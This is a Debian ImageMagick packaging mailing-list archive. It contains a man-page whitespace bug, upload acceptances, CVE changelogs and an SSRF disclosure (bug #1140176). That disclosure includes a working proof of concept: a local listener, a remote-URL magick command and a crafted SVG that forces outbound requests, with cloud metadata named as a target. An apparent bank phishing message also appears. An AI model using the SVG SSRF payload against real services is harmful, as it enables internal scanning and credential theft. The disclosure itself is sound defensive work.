Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260613/05a76c76/attachment.sig>

From bjarniig at simnet.is  Sun Jun 14 02:51:40 2026
From: bjarniig at simnet.is (Bjarni Ingi Gislason)
Date: Sun, 14 Jun 2026 01:51:40 +0000
Subject: [Pkg-gmagick-im-team] man pages: trailing whitespace
Message-ID: <178140054453.4303.3289534206384130615.reportbug@kassi.invalid.is>

Package: imagemagick-7.q16
Version: 8:7.1.2.24+dfsg1-1
Severity: minor

  Additional remarks.

  Mails from me to "submit at bugs.debian.org" are no longer acknowledged.  A
Debian maintainer told me, that he would contact the mail administrator
about me not wanting to send bugs upstream.

-.-

Dear Maintainer,

>From "/usr/share/doc/debian/bug-reporting.txt.gz":

  Don't file bugs upstream

   If you file a bug in Debian, don't send a copy to the upstream software
   maintainers yourself, as it is possible that the bug exists only in
   Debian. If necessary, the maintainer of the package will forward the
   bug upstream.

-.-

  For forwarding bug reports to upstream see:

https://www.debian.org/Bugs/Developer#forward

-.-

  "Handling bug reports" in
http://people.debian.org/~enrico/dcg/ch03s02.html

-.-

  I do not send reports upstream if I have to get an account there.
The Debian maintainers have one already.

-.-

   * What led up to the situation?

     Checking for defects with a new version

test-[g|n]roff -mandoc -t -K utf8 -rF0 -rHY=0 -rCHECKSTYLE=0 -ww -z < "man page"

  [Use 

grep -n -e ' $' -e '\\~$' -e ' \\f.$' -e ' \\"' <file>

  to find (most) trailing spaces.]

  ["test-groff" is a script in the repository for "groff"; is not shipped]
(local copy and "troff" slightly changed by me).

  [The fate of "test-nroff" was decided in groff bug #55941.]

   * What was the outcome of this action?

troff:/tmp/gz.roff.HSahS8:91: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.HSahS8:95: warning: trailing whitespace [-w trail]
/usr/share/man/man1/animate-im7.q16.1.gz

troff:/tmp/gz.roff.EphVJy:83: warning: trailing whitespace [-w trail]
/usr/share/man/man1/composite-im7.q16.1.gz

troff:/tmp/gz.roff.89Fl99:145: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.89Fl99:215: warning: trailing whitespace [-w trail]
/usr/share/man/man1/convert-im7.q16.1.gz

troff:/tmp/gz.roff.8r9j9W:127: warning: trailing whitespace [-w trail]
/usr/share/man/man1/display-im7.q16.1.gz

troff:/tmp/gz.roff.NLogv2:63: warning: trailing whitespace [-w trail]
/usr/share/man/man1/identify-im7.q16.1.gz

troff:/tmp/gz.roff.1uT0v8:54: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.1uT0v8:78: warning: trailing whitespace [-w trail]
/usr/share/man/man1/import-im7.q16.1.gz

troff:/tmp/gz.roff.s0CtMs:130: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.s0CtMs:143: warning: trailing whitespace [-w trail]
troff:/tmp/gz.roff.s0CtMs:212: warning: trailing whitespace [-w trail]
/usr/share/man/man1/mogrify-im7.q16.1.gz

   * What outcome did you expect instead?

     No output (no warnings).

-.-

  General remarks and further material, if a diff-file exist, are in the
attachments.


-- System Information:
Debian Release: forky/sid
  APT prefers testing
  APT policy: (500, 'testing')
Architecture: amd64 (x86_64)

Kernel: Linux 7.0.10+deb14-amd64 (SMP w/2 CPU threads; PREEMPT)
Locale: LANG=is_IS.iso88591, LC_CTYPE=is_IS.iso88591 (charmap=ISO-8859-1), LANGUAGE not set
Shell: /bin/sh linked to /usr/bin/dash
Init: sysvinit (via /sbin/init)

Versions of packages imagemagick-7.q16 depends on:
ii  hicolor-icon-theme      0.18-2
ii  libc6                   2.42-16
ii  libmagickcore-7.q16-10  8:7.1.2.24+dfsg1-1
ii  libmagickwand-7.q16-10  8:7.1.2.24+dfsg1-1

Versions of packages imagemagick-7.q16 recommends:
ii  ghostscript                   10.07.1~dfsg-1
pn  libmagickcore-7.q16-10-extra  <none>
ii  netpbm                        2:11.13.03+ds-2

Versions of packages imagemagick-7.q16 suggests:
pn  autotrace                            <none>
pn  cups-bsd | lpr | lprng               <none>
ii  curl                                 8.20.0-5
pn  enscript                             <none>
pn  ffmpeg                               <none>
pn  gimp                                 <none>
ii  gnuplot                              6.0.3+dfsg1-1
ii  gnuplot-qt [gnuplot]                 6.0.3+dfsg1-1
pn  grads                                <none>
pn  graphviz                             <none>
ii  groff-base                           1.24.1-1
pn  hp2xx                                <none>
pn  html2ps                              <none>
ii  imagemagick-7-doc                    8:7.1.2.24+dfsg1-1
pn  libraw-bin                           <none>
pn  libwmf-bin                           <none>
pn  mplayer                              <none>
pn  povray                               <none>
pn  radiance                             <none>
pn  sane-utils                           <none>
ii  texlive-binaries [texlive-base-bin]  2026.20260303.78225+ds-4
pn  transfig                             <none>
ii  xdg-utils                            1.2.1-2

-- no debconf information
-------------- next part --------------
  Check the output from "lintian" in the Debian distribution.

  Any program (person), that produces man pages, should check the output
for defects by using (both groff and nroff)

[gn]roff -mandoc -t -ww -b -z -K utf8 <man page>

  To find most trailing spaces use

grep -n -e ' $' -e ' \\f.$' -e ' \\"' <man page>

  The same goes for man pages that are used as an input.

-.-

  For a style guide use

  mandoc -T lint

-.-

  For general input conventions consult the man page "nroff(7)" (item
"Input conventions") or the Texinfo manual about the same item.

-.-

  Any "autogenerator" should check its products with the above mentioned
'groff', 'mandoc', and additionally with 'nroff ...'.

  It should also check its input files for too long (> 80) lines.

  This is just a simple quality control measure.

  The "autogenerator" may have to be corrected to get a better man page,
the source file may, and any additional file may.

-.-

  Common defects:

  Not removing trailing spaces (in in- and output).
  The reason for these trailing spaces should be found and eliminated.

  "git" has a "tool" to point out whitespace,
see for example "git-apply(1)" and git-config(1)")

-.-

  Not beginning each input sentence on a new line.

Line length and patch size should thus be reduced when that has been fixed.

  The script "reportbug" uses 'quoted-printable' encoding when a line is
longer than 1024 characters in an 'ascii' file.

  See man-pages(7), item "semantic newline".

-.-

The difference between the formatted output of the original
and patched file can be seen with:

  nroff -mandoc <file1> > <out1>
  nroff -mandoc <file2> > <out2>
  diff -d -u <out1> <out2>

and for groff, using

\"printf '%s\n%s\n' '.kern 0' '.ss 12 0' | groff -mandoc -Z - \"

instead of 'nroff -mandoc'

  Add the option '-t', if the file contains a table.

  Read the output from 'diff -d -u ...' with 'less -R' or similar.

-.-.

  If 'man' (man-db) is used to check the manual for warnings,
the following must be set:

  The option "-warnings=w"

  The environmental variable:

export MAN_KEEP_STDERR=yes (or any non-empty value)

  or

  (produce only warnings):

export MANROFFOPT="-ww -b -z"

export MAN_KEEP_STDERR=yes (or any non-empty value)

-.-
-------------- next part --------------
An embedded message was scrubbed...
From: unknown sender
Subject: clean files of trailing whitespace
Date: no date
Size: 498
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260614/66ca4bb1/attachment.eml>

From maramsaiharsha24 at gmail.com  Tue Jun 16 21:15:32 2026
From: maramsaiharsha24 at gmail.com (Maram Sai Harsha Vardhan Reddy)
Date: Wed, 17 Jun 2026 01:45:32 +0530
Subject: [Pkg-gmagick-im-team] Bug#1140176: imagemagick: default policy.xml
 HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918)
Message-ID: <CACim88aE5f6EXSusWwD=UghbWdMJBhX6dLqR9DRAnj6O93M48Q@mail.gmail.com>

Package: imagemagick
Version: 8:7.1.2.15+dfsg1-2
Severity: grave
Tags: security patch

Dear Maintainer,

The default ImageMagick security policy shipped by Debian in
debian/patches/0005-Add-a-debian-policy.patch
(installed as /etc/ImageMagick-7/policy.xml) attempts to block remote
HTTP/HTTPS/URL access -- the standard SSRF mitigation -- with these rules:

  <policy domain="delegate" rights="none" pattern="URL" />
  <policy domain="delegate" rights="none" pattern="HTTPS" />
  <policy domain="delegate" rights="none" pattern="HTTP" />

These rules are silently ineffective, so a default install still performs
outbound HTTP/HTTPS requests and is vulnerable to SSRF (CWE-918).

Root cause
----------
The http:/https: coders fetch URLs by invoking delegates named
"http:decode" / "https:decode" (coders/url.c). InvokeDelegate()
(MagickCore/delegate.c) enforces the "delegate" policy by glob-matching
the policy pattern against that full identifier string. The pattern
"HTTP" (no wildcards) does not match the literal string "http:decode",
so the rule is treated as inapplicable and the default (allow) wins.
The patterns "HTTP", "HTTPS" and "URL" therefore never block the URL
coders.

The "@*" path rule in the same file is enforced through a different code
path and does work, which gives operators false confidence that the
HTTP/HTTPS/URL restriction is also working.

Proof of concept
----------------
All commands run against the unmodified, as-installed policy.xml.

1. Minimal listener:

   python3 -c 'import http.server,socketserver
   class H(http.server.BaseHTTPRequestHandler):
    def do_GET(s): print("SSRF:",s.path); s.send_response(200);
s.end_headers(); s.wfile.write(b"GIF89a;")
    def log_message(s,*a): pass
   socketserver.TCPServer(("127.0.0.1",7777),H).serve_forever()'

2. Confirm the restrictive policy is active (this is correctly blocked):

   echo x > /tmp/q.txt
   magick label:@/tmp/q.txt /tmp/q.png
   -> magick: attempt to perform an operation not allowed by the
      security policy `@/tmp/q.txt'

3. PoC 1 -- direct URL coder:

   magick http://127.0.0.1:7777/ssrf out.png
   -> listener logs: SSRF: /ssrf

4. PoC 2 -- SSRF via untrusted SVG (the realistic web-service vector):

   printf '<svg xmlns:xlink="http://www.w3.org/1999/xlink" width="10"
height="10"><image xlink:href="http://127.0.0.1:7777/svg-ssrf" width="10"
height="10"/></svg>' > evil.svg
   magick evil.svg out.png
   -> listener logs: SSRF: /svg-ssrf

Both requests are sent despite the delegate rights="none" rules.
Substituting a real internal target (e.g.
http://169.254.169.254/latest/meta-data/) demonstrates real impact.

Impact
------
A service that thumbnails or converts user-supplied SVG (or URL) input
with ImageMagick can be coerced into attacker-controlled server-side
requests to internal services or cloud metadata endpoints, enabling
credential theft and internal port/host scanning. The exposure is worse
because operators believe they are protected: they deployed a policy
that explicitly lists HTTP, HTTPS and URL as forbidden.

Suggested fix
-------------
Replace the ineffective delegate rules with the coder-domain form, which
is enforced and covers every remote scheme:

  <policy domain="coder" rights="none"
pattern="{HTTP,HTTPS,FTP,FTPS,URL,MSL,MVG}" />

(keeping the existing @* path rule). Verify with:

  magick http://127.0.0.1:1/x x.png

which must be rejected by policy, not merely fail to connect.

Bastien Rouccaries has already prepared a fix; a CVE request is in
progress. I am filing here at the request of the Debian Security Team so
the fix is tracked in the BTS.

Tested on imagemagick 8:7.1.2.15+dfsg1-2; applies generally to the
ImageMagick 7.x series.

Regards,
Maram Sai Harsha Vardhan Reddy
Security Researcher
maramsaiharsha24 at gmail.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260617/5666c86a/attachment.htm>

From ftpmaster at ftp-master.debian.org  Tue Jun 16 23:13:08 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Tue, 16 Jun 2026 22:13:08 +0000
Subject: [Pkg-gmagick-im-team] Processing of
 imagemagick_7.1.2.25+dfsg1-2_source.changes
Message-ID: <E1wZc1s-0003Xw-15@usper.debian.org>

imagemagick_7.1.2.25+dfsg1-2_source.changes uploaded successfully to localhost
along with the files:
  imagemagick_7.1.2.25+dfsg1-2.dsc
  imagemagick_7.1.2.25+dfsg1.orig.tar.xz
  imagemagick_7.1.2.25+dfsg1-2.debian.tar.xz
  imagemagick_7.1.2.25+dfsg1-2_source.buildinfo

Greetings,

	Your Debian queue daemon (running on host usper.debian.org)


From ftpmaster at ftp-master.debian.org  Tue Jun 16 23:34:11 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Tue, 16 Jun 2026 22:34:11 +0000
Subject: [Pkg-gmagick-im-team] imagemagick_7.1.2.25+dfsg1-2_source.changes
 ACCEPTED into unstable
Message-ID: <E1wZcMF-00000001RF0-0UCC@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Tue, 16 Jun 2026 22:22:44 +0200
Source: imagemagick
Architecture: source
Version: 8:7.1.2.25+dfsg1-2
Distribution: unstable
Urgency: medium
Maintainer: ImageMagick Packaging Team <pkg-gmagick-im-team at lists.alioth.debian.org>
Changed-By: Bastien Roucari?s <rouca at debian.org>
Closes: 1140176
Changes:
 imagemagick (8:7.1.2.25+dfsg1-2) unstable; urgency=medium
 .
   * Fix default ImageMagick policy configuration (Closes: #1140176)
Checksums-Sha1:
 f4f69a8df84d0b55426bc532db2e012723750f7a 5129 imagemagick_7.1.2.25+dfsg1-2.dsc
 ee66b21d708c7fb61d0f6aab145ad46ecc88299f 10539840 imagemagick_7.1.2.25+dfsg1.orig.tar.xz
 856f34f5e28b58b207df2d4551a181ee8e97e9f0 269108 imagemagick_7.1.2.25+dfsg1-2.debian.tar.xz
 06f120f1fe629824520eb8c4ecce315eb28cb454 8501 imagemagick_7.1.2.25+dfsg1-2_source.buildinfo
Checksums-Sha256:
 0bf4b4419374afb4b80e4ba2422a3e36a69438c9651c97dbab8e8acc3b60b888 5129 imagemagick_7.1.2.25+dfsg1-2.dsc
 f978ff8fc6fe47e70a66f8cc748d8aa6dab81fa97f14ac47ee5a464f22d68212 10539840 imagemagick_7.1.2.25+dfsg1.orig.tar.xz
 853c293b63200e01c525404143c52fe07856c3ed9f3fde4de6d6d057620844f3 269108 imagemagick_7.1.2.25+dfsg1-2.debian.tar.xz
 2608125f89fc2fcf82164965ce7c3dc88f97579341e93eca450ded033b0cd5ec 8501 imagemagick_7.1.2.25+dfsg1-2_source.buildinfo
Files:
 c04d2e4fd260cae67a62a4034f1793b6 5129 graphics optional imagemagick_7.1.2.25+dfsg1-2.dsc
 c870e0367efccd3649e52a78a168257a 10539840 graphics optional imagemagick_7.1.2.25+dfsg1.orig.tar.xz
 a164d5c0146905889d54bdd88ef5130c 269108 graphics optional imagemagick_7.1.2.25+dfsg1-2.debian.tar.xz
 e5e9d964f8bc7d602e15a9f151977acb 8501 graphics optional imagemagick_7.1.2.25+dfsg1-2_source.buildinfo

-----BEGIN PGP SIGNATURE-----


SkXW/3Ug8bhymthvRV4C3YDUMcqYZloTs7zxUUWQbyR34tUtJGA=
=y2oh
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260616/34762f17/attachment.sig>

From owner at bugs.debian.org  Tue Jun 16 23:37:02 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Tue, 16 Jun 2026 22:37:02 +0000
Subject: [Pkg-gmagick-im-team] Bug#1140176: marked as done (imagemagick:
 default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918))
References: <E1wZcMF-00000001RFA-0qOP@fasolo.debian.org>
 <CACim88aE5f6EXSusWwD=UghbWdMJBhX6dLqR9DRAnj6O93M48Q@mail.gmail.com>
Message-ID: <handler.1140176.D1140176.17816492533939214.ackdone@bugs.debian.org>

Your message dated Tue, 16 Jun 2026 22:34:11 +0000
with message-id <E1wZcMF-00000001RFA-0qOP at fasolo.debian.org>
and subject line Bug#1140176: fixed in imagemagick 8:7.1.2.25+dfsg1-2
has caused the Debian Bug report #1140176,
regarding imagemagick: default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner at bugs.debian.org
immediately.)


-- 
1140176: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140176
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems
-------------- next part --------------
An embedded message was scrubbed...
From: Maram Sai Harsha Vardhan Reddy <maramsaiharsha24 at gmail.com>
Subject: imagemagick: default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918)
Date: Wed, 17 Jun 2026 01:45:32 +0530
Size: 14225
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260616/3d2476fd/attachment-0002.eml>
-------------- next part --------------
An embedded message was scrubbed...
From: Debian FTP Masters <ftpmaster at ftp-master.debian.org>
Subject: Bug#1140176: fixed in imagemagick 8:7.1.2.25+dfsg1-2
Date: Tue, 16 Jun 2026 22:34:11 +0000
Size: 7143
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260616/3d2476fd/attachment-0003.eml>

From support at volksbank.de  Thu Jun 18 23:43:45 2026
From: support at volksbank.de (VolksBank eG)
Date: Thu, 18 Jun 2026 22:43:45 +0000
Subject: [Pkg-gmagick-im-team] =?utf-8?q?VR_Online_Banking=3A_Verifizieru?=
 =?utf-8?q?ng_Ihres_SecureGo_Plus_N=C2=B0=3A_641-827364519ZABI00?=
Message-ID: <1a1e3455-8064-c5db-f977-0c653edad43b@volksbank.de>

An HTML attachment was scrubbed...
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260618/162033f3/attachment.htm>

From ftpmaster at ftp-master.debian.org  Sun Jun 21 15:34:13 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sun, 21 Jun 2026 14:34:13 +0000
Subject: [Pkg-gmagick-im-team]
 imagemagick_7.1.1.43+dfsg1-1+deb13u10_source.changes ACCEPTED into
 proposed-updates->stable-new
Message-ID: <E1wbJFV-000000048Kj-22gr@fasolo.debian.org>

Thank you for your contribution to Debian.

Mapping stable-security to proposed-updates.

Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Sat, 20 Jun 2026 13:35:39 +0200
Source: imagemagick
Architecture: source
Version: 8:7.1.1.43+dfsg1-1+deb13u10
Distribution: trixie-security
Urgency: high
Maintainer: ImageMagick Packaging Team <pkg-gmagick-im-team at lists.alioth.debian.org>
Changed-By: Bastien Roucari?s <rouca at debian.org>
Closes: 1140176
Changes:
 imagemagick (8:7.1.1.43+dfsg1-1+deb13u10) trixie-security; urgency=high
 .
   * Fix CVE-2026-48724:
     When using an image with mask the Floyd-Steinberg dithering
     method it will cause a negative heap buffer over-write
   * Fix CVE-2026-48734:
     A crafted MVG file could result in a stack overflow due to a missing depth
     or visited-set check
   * Fix CVE-2026-48994:
     A missing check of a return value could lead to a heap buffer over-write in the MAT
     decoder on 32-bit systems.
   * Fix CVE-2026-49218:
     A missing check in the DCM decoder could result in an image with invalid dimensions
     and that could cause crashes in other operation.
   * Fix CVE-2026-49219:
     An incorrect parsing of the filename can result in a policy bypass and read files
     disallowed by a security policy using a symlink
   * Backport policy from 7.1.2.25
   * Fix CVE-2026-53460:
     A missing check for maximum memory request in AcquireAlignedMemory
     could trigger an out-of-Memory condition.
   * Fix CVE-2026-53461:
     An incorrect loop in the ICON decoder can result in an out of
     bounds heap write resulting in a crash.
   * Fix CVE-2026-53463:
     When passing incorrect arguments in the distort operation a
     null pointer deference will occur.
   * Fix CVE-2026-53464:
     When providing invalid options to the wand option parser
     a small memory leak will occur.
   * Harden debian policy in case of custom recompilation (Closes: #1140176)
Checksums-Sha1:
 623835326a9e19622ced44bd8b93caf9470fde17 5165 imagemagick_7.1.1.43+dfsg1-1+deb13u10.dsc
 103af0af388a733c043845b228cf3031c16d859b 10501740 imagemagick_7.1.1.43+dfsg1.orig.tar.xz
 f0272bcbc3f31e0312f9d104a6d4ecf555485515 346928 imagemagick_7.1.1.43+dfsg1-1+deb13u10.debian.tar.xz
 dbb9b98836b3b438e7ccd2cbd5d34e0ec5b04cb8 8537 imagemagick_7.1.1.43+dfsg1-1+deb13u10_source.buildinfo
Checksums-Sha256:
 a3b34ba2a422e93a219195a499ee67b306561f91683d7a77800d83157ed7f10d 5165 imagemagick_7.1.1.43+dfsg1-1+deb13u10.dsc
 bcb4f3c78a930a608fa4889f889edbcb384974246ad9407fce1858f2c0607bfe 10501740 imagemagick_7.1.1.43+dfsg1.orig.tar.xz
 8aee9cfdf22414d306fa1b027670f7a4ececc359164e92868b150f21e099d621 346928 imagemagick_7.1.1.43+dfsg1-1+deb13u10.debian.tar.xz
 f08aa361a89b882d1222aa920d45d1bf124ea073825c941c5f5e1c4786021021 8537 imagemagick_7.1.1.43+dfsg1-1+deb13u10_source.buildinfo
Files:
 fae1fc22e7e0345b6e7017c9d00b0101 5165 graphics optional imagemagick_7.1.1.43+dfsg1-1+deb13u10.dsc
 01cfb13a7c1813afb50790e431358c6c 10501740 graphics optional imagemagick_7.1.1.43+dfsg1.orig.tar.xz
 59618f1ae2ed16055eb4d998dc3b7590 346928 graphics optional imagemagick_7.1.1.43+dfsg1-1+deb13u10.debian.tar.xz
 3a439d3a552ce5cf68d54a3a98296237 8537 graphics optional imagemagick_7.1.1.43+dfsg1-1+deb13u10_source.buildinfo

-----BEGIN PGP SIGNATURE-----


G92tnKoA+OxlSItofoefEXPIe3Toj27laCviBDH1TeZcMxyQhN8=
=nqf8
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260621/7daa35f5/attachment.sig>

From ftpmaster at ftp-master.debian.org  Sun Jun 21 20:17:06 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Sun, 21 Jun 2026 19:17:06 +0000
Subject: [Pkg-gmagick-im-team]
 imagemagick_7.1.1.43+dfsg1-1+deb13u10_source.changes ACCEPTED into
 proposed-updates
Message-ID: <E1wbNfG-00000004r31-0BLF@fasolo.debian.org>

Thank you for your contribution to Debian.



Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Sat, 20 Jun 2026 13:35:39 +0200
Source: imagemagick
Architecture: source
Version: 8:7.1.1.43+dfsg1-1+deb13u10
Distribution: trixie-security
Urgency: high
Maintainer: ImageMagick Packaging Team <pkg-gmagick-im-team at lists.alioth.debian.org>
Changed-By: Bastien Roucari?s <rouca at debian.org>
Closes: 1140176
Changes:
 imagemagick (8:7.1.1.43+dfsg1-1+deb13u10) trixie-security; urgency=high
 .
   * Fix CVE-2026-48724:
     When using an image with mask the Floyd-Steinberg dithering
     method it will cause a negative heap buffer over-write
   * Fix CVE-2026-48734:
     A crafted MVG file could result in a stack overflow due to a missing depth
     or visited-set check
   * Fix CVE-2026-48994:
     A missing check of a return value could lead to a heap buffer over-write in the MAT
     decoder on 32-bit systems.
   * Fix CVE-2026-49218:
     A missing check in the DCM decoder could result in an image with invalid dimensions
     and that could cause crashes in other operation.
   * Fix CVE-2026-49219:
     An incorrect parsing of the filename can result in a policy bypass and read files
     disallowed by a security policy using a symlink
   * Backport policy from 7.1.2.25
   * Fix CVE-2026-53460:
     A missing check for maximum memory request in AcquireAlignedMemory
     could trigger an out-of-Memory condition.
   * Fix CVE-2026-53461:
     An incorrect loop in the ICON decoder can result in an out of
     bounds heap write resulting in a crash.
   * Fix CVE-2026-53463:
     When passing incorrect arguments in the distort operation a
     null pointer deference will occur.
   * Fix CVE-2026-53464:
     When providing invalid options to the wand option parser
     a small memory leak will occur.
   * Harden debian policy in case of custom recompilation (Closes: #1140176)
Checksums-Sha1:
 623835326a9e19622ced44bd8b93caf9470fde17 5165 imagemagick_7.1.1.43+dfsg1-1+deb13u10.dsc
 103af0af388a733c043845b228cf3031c16d859b 10501740 imagemagick_7.1.1.43+dfsg1.orig.tar.xz
 f0272bcbc3f31e0312f9d104a6d4ecf555485515 346928 imagemagick_7.1.1.43+dfsg1-1+deb13u10.debian.tar.xz
 dbb9b98836b3b438e7ccd2cbd5d34e0ec5b04cb8 8537 imagemagick_7.1.1.43+dfsg1-1+deb13u10_source.buildinfo
Checksums-Sha256:
 a3b34ba2a422e93a219195a499ee67b306561f91683d7a77800d83157ed7f10d 5165 imagemagick_7.1.1.43+dfsg1-1+deb13u10.dsc
 bcb4f3c78a930a608fa4889f889edbcb384974246ad9407fce1858f2c0607bfe 10501740 imagemagick_7.1.1.43+dfsg1.orig.tar.xz
 8aee9cfdf22414d306fa1b027670f7a4ececc359164e92868b150f21e099d621 346928 imagemagick_7.1.1.43+dfsg1-1+deb13u10.debian.tar.xz
 f08aa361a89b882d1222aa920d45d1bf124ea073825c941c5f5e1c4786021021 8537 imagemagick_7.1.1.43+dfsg1-1+deb13u10_source.buildinfo
Files:
 fae1fc22e7e0345b6e7017c9d00b0101 5165 graphics optional imagemagick_7.1.1.43+dfsg1-1+deb13u10.dsc
 01cfb13a7c1813afb50790e431358c6c 10501740 graphics optional imagemagick_7.1.1.43+dfsg1.orig.tar.xz
 59618f1ae2ed16055eb4d998dc3b7590 346928 graphics optional imagemagick_7.1.1.43+dfsg1-1+deb13u10.debian.tar.xz
 3a439d3a552ce5cf68d54a3a98296237 8537 graphics optional imagemagick_7.1.1.43+dfsg1-1+deb13u10_source.buildinfo

-----BEGIN PGP SIGNATURE-----


G92tnKoA+OxlSItofoefEXPIe3Toj27laCviBDH1TeZcMxyQhN8=
=nqf8
-----END PGP SIGNATURE-----

-------------- next part --------------
A non-text attachment was scrubbed...
Name: not available
Type: application/pgp-signature
Size: 228 bytes
Desc: not available
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260621/f176ef99/attachment.sig>

From owner at bugs.debian.org  Sun Jun 21 20:19:06 2026
From: owner at bugs.debian.org (Debian Bug Tracking System)
Date: Sun, 21 Jun 2026 19:19:06 +0000
Subject: [Pkg-gmagick-im-team] Bug#1140176: marked as done (imagemagick:
 default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918))
References: <E1wbNfG-00000004r3A-0XUf@fasolo.debian.org>
 <CACim88aE5f6EXSusWwD=UghbWdMJBhX6dLqR9DRAnj6O93M48Q@mail.gmail.com>
Message-ID: <handler.1140176.D1140176.17820694293146895.ackdone@bugs.debian.org>

Your message dated Sun, 21 Jun 2026 19:17:06 +0000
with message-id <E1wbNfG-00000004r3A-0XUf at fasolo.debian.org>
and subject line Bug#1140176: fixed in imagemagick 8:7.1.1.43+dfsg1-1+deb13u10
has caused the Debian Bug report #1140176,
regarding imagemagick: default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918)
to be marked as done.

This means that you claim that the problem has been dealt with.
If this is not the case it is now your responsibility to reopen the
Bug report if necessary, and/or fix the problem forthwith.

(NB: If you are a system administrator and have no idea what this
message is talking about, this may indicate a serious mail system
misconfiguration somewhere. Please contact owner at bugs.debian.org
immediately.)


-- 
1140176: https://bugs.debian.org/cgi-bin/bugreport.cgi?bug=1140176
Debian Bug Tracking System
Contact owner at bugs.debian.org with problems
-------------- next part --------------
An embedded message was scrubbed...
From: Maram Sai Harsha Vardhan Reddy <maramsaiharsha24 at gmail.com>
Subject: imagemagick: default policy.xml HTTP/HTTPS/URL delegate rules are no-ops (SSRF, CWE-918)
Date: Wed, 17 Jun 2026 01:45:32 +0530
Size: 14225
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260621/7594389f/attachment-0002.eml>
-------------- next part --------------
An embedded message was scrubbed...
From: Debian FTP Masters <ftpmaster at ftp-master.debian.org>
Subject: Bug#1140176: fixed in imagemagick 8:7.1.1.43+dfsg1-1+deb13u10
Date: Sun, 21 Jun 2026 19:17:06 +0000
Size: 8668
URL: <http://alioth-lists.debian.net/pipermail/pkg-gmagick-im-team/attachments/20260621/7594389f/attachment-0003.eml>

From ftpmaster at ftp-master.debian.org  Tue Jun 23 13:21:28 2026
From: ftpmaster at ftp-master.debian.org (Debian FTP Masters)
Date: Tue, 23 Jun 2026 12:21:28 +0000
Subject: [Pkg-gmagick-im-team]
 imagemagick_6.9.11.60+dfsg-1.6+deb12u11_source.changes ACCEPTED into
 oldstable-proposed-updates->oldstable-new
Message-ID: <E1wc088-0000000CUdA-1OLl@fasolo.debian.org>

Thank you for your contribution to Debian.

Mapping oldstable-security to oldstable-proposed-updates.

Accepted:

-----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA512

Format: 1.8
Date: Sun, 21 Jun 2026 15:40:05 +0200
Source: imagemagick
Architecture: source
Version: 8:6.9.11.60+dfsg-1.6+deb12u11
Distribution: bookworm-security
Urgency: high
Maintainer: ImageMagick Packaging Team <pkg-gmagick-im-team at lists.alioth.debian.org>
Changed-By: Bastien Roucari?s <rouca at debian.org>
Closes: 1140176
Changes:
 imagemagick (8:6.9.11.60+dfsg-1.6+deb12u11) bookworm-security; urgency=high
 .
   * Fix CVE-2026-48733:
     An infinite loop in the subimage-search operation can happen
     when using a crafted image.
   * Fix CVE-2026-48734:
     A crafted MVG file could result in a stack overflow due to a missing depth
     or visited-set check
   * Fix CVE-2026-48994:
     A missing check of a return value could lead to a heap buffer over-write in the MAT
     decoder on 32-bit systems.
   * Fix CVE-2026-49218:
     A missing check in the DCM decoder could result in an image with invalid dimensions
     and that could cause crashes in other operation.
   * Fix CVE-2026-53460:
     A missing check for maximum memory request in AcquireAlignedMemory
     could trigger an out-of-Memory condition.
   * Fix CVE-2026-53463:
     When passing incorrect arguments in the distort operation a
     null pointer deference will occur.
   * Fix default policy.xml HTTP/HTTPS/URL delegate rules are no-ops
     (Closes: #1140176)
Checksums-Sha1:
 c3f16669cff11f4e0b18a0d86d3bfd20477243b3 5134 imagemagick_6.9.11.60+dfsg-1.6+deb12u11.dsc
 824a63dce5e54bd8b78077d671d8ab06300a8848 9395144 imagemagick_6.9.11.60+dfsg.orig.tar.xz
 3886314169eaaacb6cccab42640a3d03688f480d 337148 imagemagick_6.9.11.60+dfsg-1.6+deb12u11.debian.tar.xz
